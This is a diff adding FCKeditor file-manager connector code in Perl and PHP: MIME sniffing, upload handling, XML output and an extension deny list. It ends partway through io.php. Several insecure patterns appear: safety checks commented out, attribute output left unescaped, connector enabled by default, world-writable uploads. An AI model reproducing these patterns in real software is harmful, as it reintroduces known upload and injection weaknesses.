+#                              || $$DATA =~ /<\s*FRAME(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*APPLET(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*FORM(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*(?:.|\n)*?\bSRC\s*=(?:.|\n)*?>/i
+#                              || $$DATA =~ /<\s*(?:.|\n)*?\bDYNSRC\s*=(?:.|\n)*?>/i
+#                              ) {
+#                      $Infomation = '(the HTML tag which is not safe is included)';
+#              }
+
+               if($FileExt =~ /^txt$/i || $FileExt =~ /^cgi$/i || $FileExt =~ /^pl$/i) {                                                               # Text File
+                       $Ext = 'txt';
+               } elsif($ContentType =~ /^text\/html$/i || $FileExt =~ /html?/i || $$DATA =~ /<\s*HTML(?:.|\n)*?>/i) {  # HTML File
+                       $Ext = 'html';
+               } elsif($ContentType =~ /^image\/x-xbitmap$/i || $FileExt =~ /^xbm$/i) {                                                                # XBM(x-BitMap) Image
+                       my $XbmName = $1;
+                       my ($XbmWidth, $XbmHeight);
+                       if($$DATA =~ /\#define\s*$XbmName\_width\s*(\d+)/i) {
+                               $XbmWidth = $1;
+                       }
+                       if($$DATA =~ /\#define\s*$XbmName\_height\s*(\d+)/i) {
+                               $XbmHeight = $1;
+                       }
+                       if($XbmWidth && $XbmHeight) {
+                               $Ext = 'xbm';
+                               $ImageWidth             = $XbmWidth;
+                               $ImageHeight    = $XbmHeight;
+                       }
+               } else {                # 
+                       $Ext = 'txt';
+               }
+       }
+
+       # image
+       if(!$Ext && ($UnknownType || $ContentType =~ /^image\//i)) {
+               # PNG
+               if($$DATA =~ /^\x89PNG\x0D\x0A\x1A\x0A/) {
+                       if(substr($$DATA, 12, 4) eq 'IHDR') {
+                               $Ext = 'png';
+                               ($ImageWidth, $ImageHeight) = unpack("N2", substr($$DATA, 16, 8));
+                       }
+               } elsif($$DATA =~ /^GIF8(?:9|7)a/) {                                                                                                                    # GIF89a(modified), GIF89a, GIF87a
+                       $Ext = 'gif';
+                       ($ImageWidth, $ImageHeight) = unpack("v2", substr($$DATA, 6, 4));
+               } elsif($$DATA =~ /^II\x2a\x00\x08\x00\x00\x00/ || $$DATA =~ /^MM\x00\x2a\x00\x00\x00\x08/) {   # TIFF
+                       $Ext = 'tif';
+               } elsif($$DATA =~ /^BM/) {                                                                                                                                              # BMP
+                       $Ext = 'bmp';
+               } elsif($$DATA =~ /^\xFF\xD8\xFF/ || $$DATA =~ /JFIF/) {                                                                                # JPEG
+                       my $HeaderPoint = index($$DATA, "\xFF\xD8\xFF", 0);
+                       my $Point = $HeaderPoint + 2;
+                       while($Point < $DataLength) {
+                               my($Maker, $MakerType, $MakerLength) = unpack("C2n",substr($$DATA,$Point,4));
+                               if($Maker != 0xFF || $MakerType == 0xd9 || $MakerType == 0xda) {
+                                       last;
+                               } elsif($MakerType >= 0xC0 && $MakerType <= 0xC3) {
+                                       $Ext = 'jpg';
+                                       ($ImageHeight, $ImageWidth) = unpack("n2", substr($$DATA, $Point + 5, 4));
+                                       if($HeaderPoint > 0) {
+                                               $$DATA = substr($$DATA, $HeaderPoint);
+                                               $DataLength = length($$DATA);
+                                       }
+                                       last;
+                               } else {
+                                       $Point += $MakerLength + 2;
+                               }
+                       }
+               }
+       }
+
+       # audio
+       if(!$Ext && ($UnknownType || $ContentType =~ /^audio\//i)) {
+               # MIDI Audio
+               if($$DATA =~ /^MThd/) {
+                       $Ext = 'mid';
+               } elsif($$DATA =~ /^\x2esnd/) {         # ULAW Audio
+                       $Ext = 'au';
+               } elsif($$DATA =~ /^RIFF/ || $$DATA =~ /^ID3/ && $$DATA =~ /RIFF/) {
+                       my $HeaderPoint = index($$DATA, "RIFF", 0);
+                       $_ = substr($$DATA, $HeaderPoint + 8, 8);
+                       if(/^WAVEfmt $/) {
+                               # WAVE
+                               if(unpack("V",substr($$DATA, $HeaderPoint + 16, 4)) == 16) {
+                                       $Ext = 'wav';
+                               } else {                                        # RIFF WAVE MP3
+                                       $Ext = 'mp3';
+                               }
+                       } elsif(/^RMIDdata$/) {                 # RIFF MIDI
+                               $Ext = 'rmi';
+                       } elsif(/^RMP3data$/) {                 # RIFF MP3
+                               $Ext = 'rmp';
+                       }
+                       if($ContentType =~ /^audio\//i) {
+                               $Infomation .= '(RIFF '. substr($$DATA, $HeaderPoint + 8, 4). ')';
+                       }
+               }
+       }
+
+       # a binary file
+       unless ($Ext) {
+               # PDF image
+               if($$DATA =~ /^\%PDF/) {
+                       # Picture size is not measured.
+                       $Ext = 'pdf';
+               } elsif($$DATA =~ /^FWS/) {             # Shockwave Flash
+                       $Ext = 'swf';
+               } elsif($$DATA =~ /^RIFF/ || $$DATA =~ /^ID3/ && $$DATA =~ /RIFF/) {
+                       my $HeaderPoint = index($$DATA, "RIFF", 0);
+                       $_ = substr($$DATA,$HeaderPoint + 8, 8);
+                       # AVI
+                       if(/^AVI LIST$/) {
+                               $Ext = 'avi';
+                       }
+                       if($ContentType =~ /^video\//i) {
+                               $Infomation .= '(RIFF '. substr($$DATA, $HeaderPoint + 8, 4). ')';
+                       }
+               } elsif($$DATA =~ /^PK/) {                      # ZIP Compress File
+                       $Ext = 'zip';
+               } elsif($$DATA =~ /^MSCF/) {            # CAB Compress File
+                       $Ext = 'cab';
+               } elsif($$DATA =~ /^Rar\!/) {           # RAR Compress File
+                       $Ext = 'rar';
+               } elsif(substr($$DATA, 2, 5) =~ /^\-lh(\d+|d)\-$/) {            # LHA Compress File
+                       $Infomation .= "(lh$1)";
+                       $Ext = 'lzh';
+               } elsif(substr($$DATA, 325, 25) eq "Apple Video Media Handler" || substr($$DATA, 325, 30) eq "Apple \x83\x72\x83\x66\x83\x49\x81\x45\x83\x81\x83\x66\x83\x42\x83\x41\x83\x6E\x83\x93\x83\x68\x83\x89") {
+                       # QuickTime
+                       $Ext = 'mov';
+               }
+       }
+
+       # Header analysis failure
+       unless ($Ext) {
+               # It will be followed if it applies for the MIME type from the browser.
+               foreach (keys %UPLOAD_CONTENT_TYPE_LIST) {
+                       next unless ($_);
+                       if($ContentType =~ /^$_$/i) {
+                               $Ext = $UPLOAD_CONTENT_TYPE_LIST{$_};
+                               $ContentName = &CheckContentExt($Ext);
+                               if(
+                                       grep {$_ eq $Ext;} (
+                                               'png',
+                                               'gif',
+                                               'jpg',
+                                               'xbm',
+                                               'tif',
+                                               'bmp',
+                                               'pdf',
+                                               'swf',
+                                               'mov',
+                                               'zip',
+                                               'cab',
+                                               'lzh',
+                                               'rar',
+                                               'mid',
+                                               'rmi',
+                                               'au',
+                                               'wav',
+                                               'avi',
+                                               'exe'
+                                       )
+                               ) {
+                                       $Infomation .= ' / Header analysis failure';
+                               }
+                               if($Ext ne $FileExt && &CheckContentExt($FileExt) eq $ContentName) {
+                                       $Ext = $FileExt;
+                               }
+                               last;
+                       }
+               }
+               # a MIME type is unknown--It judges from an extension.
+               unless ($Ext) {
+                       $ContentName = &CheckContentExt($FileExt);
+                       if($ContentName) {
+                               $Ext = $FileExt;
+                               $Infomation .= ' /      MIME type is unknown('. $ContentType. ')';
+                               last;
+                       }
+               }
+       }
+
+#      $ContentName = &CheckContentExt($Ext)   unless($ContentName);
+#      if($Ext && $ContentName) {
+#              $ContentName .=  $Infomation;
+#      } else {
+#              &upload_error(
+#                      'Extension Error',
+#                      "$FileName A not corresponding extension ($Ext)<BR>The extension which can be responded ". join(',', sort values(%UPLOAD_EXT_LIST))
+#              );
+#      }
+
+#      # SSI Tag Deletion
+#      if($Ext =~ /.?html?/ && $$DATA =~ /<\!/) {
+#              foreach (
+#                      'config',
+#                      'echo',
+#                      'exec',
+#                      'flastmod',
+#                      'fsize',
+#                      'include'
+#              ) {
+#                      $$DATA =~ s/\#\s*$_/\&\#35\;$_/ig
+#              }
+#      }
+
+       return (
+               $FileName,
+               $Ext,
+               int($DataLength / 1024 + 1),
+               $ImageWidth,
+               $ImageHeight,
+               $ContentName
+       );
+}
+
+##############################################################################
+# Summary
+#
+# Extension discernment
+#
+# Parameters
+# Returns
+# Memo
+##############################################################################
+
+sub CheckContentExt
+{
+
+       my($Ext) = @_;
+       my $ContentName;
+       foreach (keys %UPLOAD_EXT_LIST) {
+               next    unless ($_);
+               if($_ && $Ext =~ /^$_$/) {
+                       $ContentName = $UPLOAD_EXT_LIST{$_};
+                       last;
+               }
+       }
+       return $ContentName;
+
+}
+
+##############################################################################
+# Summary
+#
+# Form decode
+#
+# Parameters
+# Returns
+# Memo
+##############################################################################
+sub Encode
+{
+
+       my($value,$Trans) = @_;
+
+#      my $FormCode = &jcode::getcode($value) || $FormCodeDefault;
+#      $FormCodeDefault ||= $FormCode;
+#
+#      if($Trans && $TRANS_2BYTE_CODE) {
+#              if($FormCode ne 'euc') {
+#                      &jcode::convert($value, 'euc', $FormCode);
+#              }
+#              &jcode::tr(
+#                      $value,
+#                      "\xA3\xB0-\xA3\xB9\xA3\xC1-\xA3\xDA\xA3\xE1-\xA3\xFA",
+#                      '0-9A-Za-z'
+#              );
+#              if($CHARCODE ne 'euc') {
+#                      &jcode::convert($value,$CHARCODE,'euc');
+#              }
+#      } else {
+#              if($CHARCODE ne $FormCode) {
+#                      &jcode::convert($value,$CHARCODE,$FormCode);
+#              }
+#      }
+#      if($CHARCODE eq 'euc') {
+#              &jcode::h2z_euc($value);
+#      } elsif($CHARCODE eq 'sjis') {
+#              &jcode::h2z_sjis($value);
+#      }
+
+}
+
+##############################################################################
+# Summary
+#
+# Error Msg
+#
+# Parameters
+# Returns
+# Memo
+##############################################################################
+
+sub upload_error
+{
+
+       local($error_message)   = $_[0];
+       local($error_message2)  = $_[1];
+
+       print "Content-type: text/html\n\n";
+       print<<EOF;
+<HTML>
+<HEAD>
+<TITLE>Error Message</TITLE></HEAD>
+<BODY>
+<table border="1" cellspacing="10" cellpadding="10">
+       <TR bgcolor="#0000B0">
+       <TD bgcolor="#0000B0" NOWRAP><font size="-1" color="white"><B>Error Message</B></font></TD>
+       </TR>
+</table>
+<UL>
+<H4> $error_message </H4>
+$error_message2 <BR>
+</UL>
+</BODY>
+</HTML>
+EOF
+       &rm_tmp_uploaded_files;                 # Image Temporary deletion
+       exit;
+}
+
+##############################################################################
+# Summary
+#
+# Image Temporary deletion
+#
+# Parameters
+# Returns
+# Memo
+##############################################################################
+
+sub rm_tmp_uploaded_files
+{
+       if($img_data_exists == 1){
+               sleep 1;
+               foreach $fname_list(@NEWFNAMES) {
+                       if(-e "$img_dir/$fname_list") {
+                               unlink("$img_dir/$fname_list");
+                       }
+               }
+       }
+
+}
+1;
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/perl/util.pl b/fckeditor/editor/filemanager/browser/default/connectors/perl/util.pl
new file mode 100755 (executable)
index 0000000..3c0db12
--- /dev/null
@@ -0,0 +1,64 @@
+#####
+#  FCKeditor - The text editor for Internet - http://www.fckeditor.net
+#  Copyright (C) 2003-2007 Frederico Caldeira Knabben
+#  
+#  == BEGIN LICENSE ==
+#  
+#  Licensed under the terms of any of the following licenses at your
+#  choice:
+#  
+#   - GNU General Public License Version 2 or later (the "GPL")
+#     http://www.gnu.org/licenses/gpl.html
+#  
+#   - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+#     http://www.gnu.org/licenses/lgpl.html
+#  
+#   - Mozilla Public License Version 1.1 or later (the "MPL")
+#     http://www.mozilla.org/MPL/MPL-1.1.html
+#  
+#  == END LICENSE ==
+#  
+#  File Name: util.pl
+#      This is the File Manager Connector for Perl.
+#  
+#  File Authors:
+#              Takashi Yamaguchi (jack@omakase.net)
+#####
+
+sub RemoveFromStart
+{
+       local($sourceString, $charToRemove) = @_;
+       $sPattern = '^' . $charToRemove . '+' ;
+       $sourceString =~ s/^$charToRemove+//g;
+       return $sourceString;
+}
+
+sub RemoveFromEnd
+{
+       local($sourceString, $charToRemove) = @_;
+       $sPattern = $charToRemove . '+$' ;
+       $sourceString =~ s/$charToRemove+$//g;
+       return $sourceString;
+}
+
+sub ConvertToXmlAttribute
+{
+       local($value) = @_;
+       return $value;
+#      return utf8_encode(htmlspecialchars($value));
+
+}
+
+sub specialchar_cnv
+{
+       local($ch) = @_;
+
+       $ch =~ s/&/&amp;/g;             # &
+       $ch =~ s/\"/&quot;/g;   #"
+       $ch =~ s/\'/&#39;/g;    # '
+       $ch =~ s/</&lt;/g;              # <
+       $ch =~ s/>/&gt;/g;              # >
+       return($ch);
+}
+
+1;
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/php/basexml.php b/fckeditor/editor/filemanager/browser/default/connectors/php/basexml.php
new file mode 100755 (executable)
index 0000000..4724d7e
--- /dev/null
@@ -0,0 +1,79 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: basexml.php
+ *     These functions define the base of the XML response sent by the PHP
+ *     connector.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+function SetXmlHeaders()
+{
+       ob_end_clean() ;
+
+       // Prevent the browser from caching the result.
+       // Date in the past
+       header('Expires: Mon, 26 Jul 1997 05:00:00 GMT') ;
+       // always modified
+       header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT') ;
+       // HTTP/1.1
+       header('Cache-Control: no-store, no-cache, must-revalidate') ;
+       header('Cache-Control: post-check=0, pre-check=0', false) ;
+       // HTTP/1.0
+       header('Pragma: no-cache') ;
+
+       // Set the response format.
+       header( 'Content-Type:text/xml; charset=utf-8' ) ;
+}
+
+function CreateXmlHeader( $command, $resourceType, $currentFolder )
+{
+       SetXmlHeaders() ;
+       
+       // Create the XML document header.
+       echo '<?xml version="1.0" encoding="utf-8" ?>' ;
+
+       // Create the main "Connector" node.
+       echo '<Connector command="' . $command . '" resourceType="' . $resourceType . '">' ;
+       
+       // Add the current folder node.
+       echo '<CurrentFolder path="' . ConvertToXmlAttribute( $currentFolder ) . '" url="' . ConvertToXmlAttribute( GetUrlFromPath( $resourceType, $currentFolder ) ) . '" />' ;
+}
+
+function CreateXmlFooter()
+{
+       echo '</Connector>' ;
+}
+
+function SendError( $number, $text )
+{
+       SetXmlHeaders() ;
+       
+       // Create the XML document header
+       echo '<?xml version="1.0" encoding="utf-8" ?>' ;
+       
+       echo '<Connector><Error number="' . $number . '" text="' . htmlspecialchars( $text ) . '" /></Connector>' ;
+       
+       exit ;
+}
+?>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/php/commands.php b/fckeditor/editor/filemanager/browser/default/connectors/php/commands.php
new file mode 100755 (executable)
index 0000000..8b2d0bd
--- /dev/null
@@ -0,0 +1,226 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: commands.php
+ *     This is the File Manager Connector for PHP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+function GetFolders( $resourceType, $currentFolder )
+{
+       // Map the virtual path to the local server path.
+       $sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;
+
+       // Array that will hold the folders names.
+       $aFolders       = array() ;
+
+       $oCurrentFolder = opendir( $sServerDir ) ;
+
+       while ( $sFile = readdir( $oCurrentFolder ) )
+       {
+               if ( $sFile != '.' && $sFile != '..' && is_dir( $sServerDir . $sFile ) )
+                       $aFolders[] = '<Folder name="' . ConvertToXmlAttribute( $sFile ) . '" />' ;
+       }
+
+       closedir( $oCurrentFolder ) ;
+
+       // Open the "Folders" node.
+       echo "<Folders>" ;
+       
+       natcasesort( $aFolders ) ;
+       foreach ( $aFolders as $sFolder )
+               echo $sFolder ;
+
+       // Close the "Folders" node.
+       echo "</Folders>" ;
+}
+
+function GetFoldersAndFiles( $resourceType, $currentFolder )
+{
+       // Map the virtual path to the local server path.
+       $sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;
+
+       // Arrays that will hold the folders and files names.
+       $aFolders       = array() ;
+       $aFiles         = array() ;
+
+       $oCurrentFolder = opendir( $sServerDir ) ;
+
+       while ( $sFile = readdir( $oCurrentFolder ) )
+       {
+               if ( $sFile != '.' && $sFile != '..' )
+               {
+                       if ( is_dir( $sServerDir . $sFile ) )
+                               $aFolders[] = '<Folder name="' . ConvertToXmlAttribute( $sFile ) . '" />' ;
+                       else
+                       {
+                               $iFileSize = filesize( $sServerDir . $sFile ) ;
+                               if ( $iFileSize > 0 )
+                               {
+                                       $iFileSize = round( $iFileSize / 1024 ) ;
+                                       if ( $iFileSize < 1 ) $iFileSize = 1 ;
+                               }
+
+                               $aFiles[] = '<File name="' . ConvertToXmlAttribute( $sFile ) . '" size="' . $iFileSize . '" />' ;
+                       }
+               }
+       }
+
+       // Send the folders
+       natcasesort( $aFolders ) ;
+       echo '<Folders>' ;
+
+       foreach ( $aFolders as $sFolder )
+               echo $sFolder ;
+
+       echo '</Folders>' ;
+
+       // Send the files
+       natcasesort( $aFiles ) ;
+       echo '<Files>' ;
+
+       foreach ( $aFiles as $sFiles )
+               echo $sFiles ;
+
+       echo '</Files>' ;
+}
+
+function CreateFolder( $resourceType, $currentFolder )
+{
+       $sErrorNumber   = '0' ;
+       $sErrorMsg              = '' ;
+
+       if ( isset( $_GET['NewFolderName'] ) )
+       {
+               $sNewFolderName = $_GET['NewFolderName'] ;
+
+               if ( strpos( $sNewFolderName, '..' ) !== FALSE )
+                       $sErrorNumber = '102' ;         // Invalid folder name.
+               else
+               {
+                       // Map the virtual path to the local server path of the current folder.
+                       $sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;
+
+                       if ( is_writable( $sServerDir ) )
+                       {
+                               $sServerDir .= $sNewFolderName ;
+
+                               $sErrorMsg = CreateServerFolder( $sServerDir ) ;
+
+                               switch ( $sErrorMsg )
+                               {
+                                       case '' :
+                                               $sErrorNumber = '0' ;
+                                               break ;
+                                       case 'Invalid argument' :
+                                       case 'No such file or directory' :
+                                               $sErrorNumber = '102' ;         // Path too long.
+                                               break ;
+                                       default :
+                                               $sErrorNumber = '110' ;
+                                               break ;
+                               }
+                       }
+                       else
+                               $sErrorNumber = '103' ;
+               }
+       }
+       else
+               $sErrorNumber = '102' ;
+
+       // Create the "Error" node.
+       echo '<Error number="' . $sErrorNumber . '" originalDescription="' . ConvertToXmlAttribute( $sErrorMsg ) . '" />' ;
+}
+
+function FileUpload( $resourceType, $currentFolder )
+{
+       $sErrorNumber = '0' ;
+       $sFileName = '' ;
+
+       if ( isset( $_FILES['NewFile'] ) && !is_null( $_FILES['NewFile']['tmp_name'] ) )
+       {
+               global $Config ;
+
+               $oFile = $_FILES['NewFile'] ;
+
+               // Map the virtual path to the local server path.
+               $sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;
+
+               // Get the uploaded file name.
+               $sFileName = $oFile['name'] ;
+               
+               // Replace dots in the name with underscores (only one dot can be there... security issue).
+               if ( $Config['ForceSingleExtension'] )
+                       $sFileName = preg_replace( '/\\.(?![^.]*$)/', '_', $sFileName ) ;
+
+               $sOriginalFileName = $sFileName ;
+
+               // Get the extension.
+               $sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
+               $sExtension = strtolower( $sExtension ) ;
+
+               $arAllowed      = $Config['AllowedExtensions'][$resourceType] ;
+               $arDenied       = $Config['DeniedExtensions'][$resourceType] ;
+
+               if ( ( count($arAllowed) == 0 || in_array( $sExtension, $arAllowed ) ) && ( count($arDenied) == 0 || !in_array( $sExtension, $arDenied ) ) )
+               {
+                       $iCounter = 0 ;
+
+                       while ( true )
+                       {
+                               $sFilePath = $sServerDir . $sFileName ;
+
+                               if ( is_file( $sFilePath ) )
+                               {
+                                       $iCounter++ ;
+                                       $sFileName = RemoveExtension( $sOriginalFileName ) . '(' . $iCounter . ').' . $sExtension ;
+                                       $sErrorNumber = '201' ;
+                               }
+                               else
+                               {
+                                       move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;
+
+                                       if ( is_file( $sFilePath ) )
+                                       {
+                                               $oldumask = umask(0) ;
+                                               chmod( $sFilePath, 0777 ) ;
+                                               umask( $oldumask ) ;
+                                       }
+
+                                       break ;
+                               }
+                       }
+               }
+               else
+                       $sErrorNumber = '202' ;
+       }
+       else
+               $sErrorNumber = '202' ;
+
+       echo '<script type="text/javascript">' ;
+       echo 'window.parent.frames["frmUpload"].OnUploadCompleted(' . $sErrorNumber . ',"' . str_replace( '"', '\\"', $sFileName ) . '") ;' ;
+       echo '</script>' ;
+
+       exit ;
+}
+?>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/php/config.php b/fckeditor/editor/filemanager/browser/default/connectors/php/config.php
new file mode 100755 (executable)
index 0000000..ae08126
--- /dev/null
@@ -0,0 +1,58 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: config.php
+ *     Configuration file for the File Manager Connector for PHP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+global $Config ;
+
+// SECURITY: You must explicitelly enable this "connector". (Set it to "true").
+$Config['Enabled'] = true ;
+
+// Path to user files relative to the document root.
+$Config['UserFilesPath'] = BASE_URL.'userfiles/';//'/~matrix/www.setup.com/userfiles/' ;
+
+// Fill the following value it you prefer to specify the absolute path for the
+// user files directory. Usefull if you are using a virtual directory, symbolic
+// link or alias. Examples: 'C:\\MySite\\userfiles\\' or '/root/mysite/userfiles/'.
+// Attention: The above 'UserFilesPath' must point to the same directory.
+$Config['UserFilesAbsolutePath'] = BASE.'userfiles/';//'/home/matrix/www/www.setup.com/userfiles/' ;
+
+// Due to security issues with Apache modules, it is reccomended to leave the
+// following setting enabled.
+$Config['ForceSingleExtension'] = true ;
+
+$Config['AllowedExtensions']['File']   = array() ;
+$Config['DeniedExtensions']['File']            = array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis') ;
+
+$Config['AllowedExtensions']['Image']  = array('jpg','gif','jpeg','png') ;
+$Config['DeniedExtensions']['Image']   = array() ;
+
+$Config['AllowedExtensions']['Flash']  = array('swf','fla') ;
+$Config['DeniedExtensions']['Flash']   = array() ;
+
+$Config['AllowedExtensions']['Media']  = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;
+$Config['DeniedExtensions']['Media']   = array() ;
+
+?>
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php b/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php
new file mode 100755 (executable)
index 0000000..cbf5e7f
--- /dev/null
@@ -0,0 +1,119 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: connector.php
+ *     This is the File Manager Connector for PHP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+ob_start() ;
+
+//include('/home/matrix/www/www.setup.com/setup.phtml');
+include('../../../../../../../setup.phtml');
+include('config.php') ;
+include('util.php') ;
+include('io.php') ;
+include('basexml.php') ;
+include('commands.php') ;
+
+if ( !$Config['Enabled'] )
+       SendError( 1, 'This connector is disabled. Please check the "editor/filemanager/browser/default/connectors/php/config.php" file' ) ;
+
+// Get the "UserFiles" path.
+$GLOBALS["UserFilesPath"] = '' ;
+
+if ( isset( $Config['UserFilesPath'] ) )
+       $GLOBALS["UserFilesPath"] = $Config['UserFilesPath'] ;
+else if ( isset( $_GET['ServerPath'] ) )
+       $GLOBALS["UserFilesPath"] = $_GET['ServerPath'] ;
+else
+       $GLOBALS["UserFilesPath"] = '/userfiles/' ;
+
+if ( ! ereg( '/$', $GLOBALS["UserFilesPath"] ) )
+       $GLOBALS["UserFilesPath"] .= '/' ;
+
+if ( strlen( $Config['UserFilesAbsolutePath'] ) > 0 ) 
+{
+       $GLOBALS["UserFilesDirectory"] = $Config['UserFilesAbsolutePath'] ;
+
+       if ( ! ereg( '/$', $GLOBALS["UserFilesDirectory"] ) )
+               $GLOBALS["UserFilesDirectory"] .= '/' ;
+}
+else
+{
+       // Map the "UserFiles" path to a local directory.
+       $GLOBALS["UserFilesDirectory"] = GetRootPath() . $GLOBALS["UserFilesPath"] ;
+}
+
+DoResponse() ;
+
+function DoResponse()
+{
+       if ( !isset( $_GET['Command'] ) || !isset( $_GET['Type'] ) || !isset( $_GET['CurrentFolder'] ) )
+               return ;
+
+       // Get the main request informaiton.
+       $sCommand               = $_GET['Command'] ;
+       $sResourceType  = $_GET['Type'] ;
+       $sCurrentFolder = $_GET['CurrentFolder'] ;
+
+       // Check if it is an allowed type.
+       if ( !in_array( $sResourceType, array('File','Image','Flash','Media') ) )
+               return ;
+
+       // Check the current folder syntax (must begin and start with a slash).
+       if ( ! ereg( '/$', $sCurrentFolder ) ) $sCurrentFolder .= '/' ;
+       if ( strpos( $sCurrentFolder, '/' ) !== 0 ) $sCurrentFolder = '/' . $sCurrentFolder ;
+       
+       // Check for invalid folder paths (..)
+       if ( strpos( $sCurrentFolder, '..' ) )
+               SendError( 102, "" ) ;
+
+       // File Upload doesn't have to Return XML, so it must be intercepted before anything.
+       if ( $sCommand == 'FileUpload' )
+       {
+               FileUpload( $sResourceType, $sCurrentFolder ) ;
+               return ;
+       }
+
+       CreateXmlHeader( $sCommand, $sResourceType, $sCurrentFolder ) ;
+
+       // Execute the required command.
+       switch ( $sCommand )
+       {
+               case 'GetFolders' :
+                       GetFolders( $sResourceType, $sCurrentFolder ) ;
+                       break ;
+               case 'GetFoldersAndFiles' :
+                       GetFoldersAndFiles( $sResourceType, $sCurrentFolder ) ;
+                       break ;
+               case 'CreateFolder' :
+                       CreateFolder( $sResourceType, $sCurrentFolder ) ;
+                       break ;
+       }
+
+       CreateXmlFooter() ;
+
+       exit ;
+}
+?>
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/php/io.php b/fckeditor/editor/filemanager/browser/default/connectors/php/io.php
new file mode 100755 (executable)
index 0000000..bd2ccd9
--- /dev/null
@@ -0,0 +1,105 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: io.php
+ *     This is the File Manager Connector for ASP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+function GetUrlFromPath( $resourceType, $folderPath )
+{
+       if ( $resourceType == '' )
+               return RemoveFromEnd( $GLOBALS["UserFilesPath"], '/' ) . $folderPath ;
+       else
+               return $GLOBALS["UserFilesPath"] . strtolower( $resourceType ) . $folderPath ;
+}
+
+function RemoveExtension( $fileName )
+{
+       return substr( $fileName, 0, strrpos( $fileName, '.' ) ) ;
+}
+
+function ServerMapFolder( $resourceType, $folderPath )
+{
+       // Get the resource type directory.
+       $sResourceTypePath = $GLOBALS["UserFilesDirectory"] . strtolower( $resourceType ) . '/' ;
+
